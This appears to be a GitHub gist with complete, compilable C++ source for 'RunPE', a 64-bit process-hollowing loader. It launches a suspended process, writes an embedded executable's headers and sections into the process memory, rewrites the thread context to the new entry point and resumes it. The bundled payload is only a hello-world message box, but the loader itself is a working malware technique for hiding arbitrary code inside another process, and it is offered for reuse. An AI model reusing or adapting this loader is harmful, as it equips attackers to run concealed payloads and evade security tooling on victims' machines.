RunPE for x64
/* | |
RunPE for x64 - classic RunPE for 64-bit executables | |
Copyright (C) 2020 Valentin-Gabriel Radu | |
This program is free software; you can redistribute it and/or modify | |
it under the terms of the GNU General Public License as published by | |
the Free Software Foundation; either version 2 of the License, or | |
(at your option) any later version. | |
This program is distributed in the hope that it will be useful, | |
but WITHOUT ANY WARRANTY; without even the implied warranty of | |
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
GNU General Public License for more details. | |
You should have received a copy of the GNU General Public License along | |
with this program; if not, write to the Free Software Foundation, Inc., | |
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. | |
----- | |
Compile using (make sure to use x64 cl): | |
cl runpe64.cpp | |
It should generate runpe64.exe. | |
*/ | |
#undef UNICODE | |
#define UNICODE | |
#include <Windows.h> | |
/* | |
Based on examples from: | |
* https://github.com/Zer0Mem0ry/RunPE | |
* https://github.com/TRIKbranch/RunPE-X86--X64- | |
* https://gist.github.com/andreafortuna/d7fb92fb29e4ade27c0c6ce4401c99fa | |
This example compiles and runs standalone, just as a proof of concept. | |
*/ | |
int runPE64( | |
LPPROCESS_INFORMATION lpPI, | |
LPSTARTUPINFO lpSI, | |
LPVOID lpImage, | |
LPWSTR wszArgs, | |
SIZE_T szArgs | |
) | |
{ | |
WCHAR wszFilePath[MAX_PATH]; | |
if (!GetModuleFileName( | |
NULL, | |
wszFilePath, | |
sizeof wszFilePath | |
)) | |
{ | |
return -1; | |
} | |
WCHAR wszArgsBuffer[MAX_PATH + 2048]; | |
ZeroMemory(wszArgsBuffer, sizeof wszArgsBuffer); | |
SIZE_T length = wcslen(wszFilePath); | |
memcpy( | |
wszArgsBuffer, | |
wszFilePath, | |
length * sizeof(WCHAR) | |
); | |
wszArgsBuffer[length] = ' '; | |
memcpy( | |
wszArgsBuffer + length + 1, | |
wszArgs, | |
szArgs | |
); | |
PIMAGE_DOS_HEADER lpDOSHeader = | |
reinterpret_cast<PIMAGE_DOS_HEADER>(lpImage); | |
PIMAGE_NT_HEADERS lpNTHeader = | |
reinterpret_cast<PIMAGE_NT_HEADERS>( | |
reinterpret_cast<DWORD64>(lpImage) + lpDOSHeader->e_lfanew | |
); | |
if (lpNTHeader->Signature != IMAGE_NT_SIGNATURE) | |
{ | |
return -2; | |
} | |
if (!CreateProcess( | |
NULL, | |
wszArgsBuffer, | |
NULL, | |
NULL, | |
TRUE, | |
CREATE_SUSPENDED, | |
NULL, | |
NULL, | |
lpSI, | |
lpPI | |
)) | |
{ | |
return -3; | |
} | |
CONTEXT stCtx; | |
ZeroMemory(&stCtx, sizeof stCtx); | |
stCtx.ContextFlags = CONTEXT_FULL; | |
if (!GetThreadContext(lpPI->hThread, &stCtx)) | |
{ | |
TerminateProcess( | |
lpPI->hProcess, | |
-4 | |
); | |
return -4; | |
} | |
LPVOID lpImageBase = VirtualAllocEx( | |
lpPI->hProcess, | |
reinterpret_cast<LPVOID>(lpNTHeader->OptionalHeader.ImageBase), | |
lpNTHeader->OptionalHeader.SizeOfImage, | |
MEM_COMMIT | MEM_RESERVE, | |
PAGE_EXECUTE_READWRITE | |
); | |
if (lpImageBase == NULL) | |
{ | |
TerminateProcess( | |
lpPI->hProcess, | |
-5 | |
); | |
return -5; | |
} | |
if (!WriteProcessMemory( | |
lpPI->hProcess, | |
lpImageBase, | |
lpImage, | |
lpNTHeader->OptionalHeader.SizeOfHeaders, | |
NULL | |
)) | |
{ | |
TerminateProcess( | |
lpPI->hProcess, | |
-6 | |
); | |
return -6; | |
} | |
for ( | |
SIZE_T iSection = 0; | |
iSection < lpNTHeader->FileHeader.NumberOfSections; | |
++iSection | |
) | |
{ | |
PIMAGE_SECTION_HEADER stSectionHeader = | |
reinterpret_cast<PIMAGE_SECTION_HEADER>( | |
reinterpret_cast<DWORD64>(lpImage) + | |
lpDOSHeader->e_lfanew + | |
sizeof(IMAGE_NT_HEADERS64) + | |
sizeof(IMAGE_SECTION_HEADER) * iSection | |
); | |
if (!WriteProcessMemory( | |
lpPI->hProcess, | |
reinterpret_cast<LPVOID>( | |
reinterpret_cast<DWORD64>(lpImageBase) + | |
stSectionHeader->VirtualAddress | |
), | |
reinterpret_cast<LPVOID>( | |
reinterpret_cast<DWORD64>(lpImage) + | |
stSectionHeader->PointerToRawData | |
), | |
stSectionHeader->SizeOfRawData, | |
NULL | |
)) | |
{ | |
TerminateProcess( | |
lpPI->hProcess, | |
-7 | |
); | |
return -7; | |
} | |
} | |
if (!WriteProcessMemory( | |
lpPI->hProcess, | |
reinterpret_cast<LPVOID>( | |
stCtx.Rdx + sizeof(LPVOID) * 2 | |
), | |
&lpImageBase, | |
sizeof(LPVOID), | |
NULL | |
)) | |
{ | |
TerminateProcess( | |
lpPI->hProcess, | |
-8 | |
); | |
return -8; | |
} | |
stCtx.Rcx = reinterpret_cast<DWORD64>(lpImageBase) + | |
lpNTHeader->OptionalHeader.AddressOfEntryPoint; | |
if (!SetThreadContext( | |
lpPI->hThread, | |
&stCtx | |
)) | |
{ | |
TerminateProcess( | |
lpPI->hProcess, | |
-9 | |
); | |
return -9; | |
} | |
if (!ResumeThread(lpPI->hThread)) | |
{ | |
TerminateProcess( | |
lpPI->hProcess, | |
-10 | |
); | |
return -10; | |
} | |
return 0; | |
} | |
/* | |
Tiny executable example from: | |
https://stackoverflow.com/questions/11886036/c-win32-smallest-possible-messageboxhello-app-exe | |
Generate the tiny exe from this code: | |
#undef UNICODE | |
#define UNICODE | |
#include <Windows.h> | |
void startup() | |
{ | |
MessageBox(0, L"Hello, world", L"", MB_SETFOREGROUND); | |
ExitProcess(42); | |
} | |
Compile using (make sure to compile for x64): | |
cl tiny.c kernel32.lib user32.lib /O2 /link /entry:startup /subsystem:windows /align:16 | |
Convert to hex using something like: | |
https://tomeko.net/online_tools/file_to_hex.php?lang=en | |
*/ | |
unsigned char hello_world[] = { | |
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, | |
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, | |
0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, | |
0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, | |
0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, | |
0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xD1, 0x60, 0xE0, 0xFF, 0x95, 0x01, 0x8E, 0xAC, 0x95, 0x01, 0x8E, 0xAC, 0x95, 0x01, 0x8E, 0xAC, | |
0xCE, 0x69, 0x8F, 0xAD, 0x90, 0x01, 0x8E, 0xAC, 0x95, 0x01, 0x8F, 0xAC, 0x97, 0x01, 0x8E, 0xAC, | |
0x10, 0x71, 0x8A, 0xAD, 0x94, 0x01, 0x8E, 0xAC, 0x10, 0x71, 0x8C, 0xAD, 0x94, 0x01, 0x8E, 0xAC, | |
0x52, 0x69, 0x63, 0x68, 0x95, 0x01, 0x8E, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x03, 0x00, 0xCA, 0xA3, 0xDB, 0x5E, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, 0x0B, 0x02, 0x0E, 0x1A, 0x30, 0x00, 0x00, 0x00, | |
0xD0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, | |
0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x40, 0x04, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x60, 0x81, | |
0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x9C, 0x03, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x30, 0x04, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x02, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x02, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, | |
0x2C, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, | |
0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xBE, 0x01, 0x00, 0x00, 0x70, 0x02, 0x00, 0x00, | |
0xC0, 0x01, 0x00, 0x00, 0x70, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, | |
0x0C, 0x00, 0x00, 0x00, 0x30, 0x04, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x30, 0x04, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, | |
0x48, 0x83, 0xEC, 0x28, 0x41, 0xB9, 0x00, 0x00, 0x01, 0x00, 0x4C, 0x8D, 0x05, 0x3F, 0x00, 0x00, | |
0x00, 0x48, 0x8D, 0x15, 0x40, 0x00, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x15, 0x20, 0x00, 0x00, 0x00, | |
0xB9, 0x2A, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x05, 0x00, 0x00, 0x00, 0xCC, 0x00, 0x00, 0x00, 0x00, | |
0xF8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x14, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00, | |
0x6F, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x64, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCA, 0xA3, 0xDB, 0x5E, 0x00, 0x00, 0x00, 0x00, | |
0x0D, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0xD0, 0x02, 0x00, 0x00, 0xD0, 0x02, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, | |
0x74, 0x24, 0x6D, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x70, 0x02, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, | |
0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, 0x90, 0x02, 0x00, 0x00, | |
0x40, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xD0, 0x02, 0x00, 0x00, | |
0xC4, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, 0x7A, 0x7A, 0x64, 0x62, | |
0x67, 0x00, 0x00, 0x00, 0x94, 0x03, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, | |
0x74, 0x61, 0x00, 0x00, 0x9C, 0x03, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, | |
0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x03, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, | |
0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x33, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x03, 0x00, 0x00, | |
0x20, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, 0x00, 0x00, 0x00, 0x00, | |
0xF8, 0x03, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x36, | |
0x00, 0x00, 0x00, 0x00, 0x30, 0x04, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, | |
0x74, 0x61, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x42, 0x00, 0x00, 0xD8, 0x03, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x04, 0x00, 0x00, 0x70, 0x02, 0x00, 0x00, | |
0xE8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x04, 0x00, 0x00, | |
0x80, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x01, 0x45, 0x78, 0x69, 0x74, 0x50, 0x72, | |
0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x4B, 0x45, 0x52, 0x4E, 0x45, 0x4C, 0x33, 0x32, 0x2E, 0x64, | |
0x6C, 0x6C, 0x00, 0x00, 0x8A, 0x02, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, | |
0x57, 0x00, 0x55, 0x53, 0x45, 0x52, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, | |
0x40, 0x02, 0x00, 0x00, 0x6C, 0x02, 0x00, 0x00, 0x94, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 | |
}; | |
int main( | |
int argc, | |
char* argv[] | |
) | |
{ | |
DWORD dwRet = 0; | |
PROCESS_INFORMATION stPI; | |
ZeroMemory(&stPI, sizeof stPI); | |
STARTUPINFO stSI; | |
ZeroMemory(&stSI, sizeof stSI); | |
WCHAR szArgs[] = L""; | |
if (!runPE64( | |
&stPI, | |
&stSI, | |
reinterpret_cast<LPVOID>(hello_world), | |
szArgs, | |
sizeof szArgs | |
)) | |
{ | |
WaitForSingleObject( | |
stPI.hProcess, | |
INFINITE | |
); | |
GetExitCodeProcess( | |
stPI.hProcess, | |
&dwRet | |
); | |
CloseHandle(stPI.hThread); | |
CloseHandle(stPI.hProcess); | |
} | |
return dwRet; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment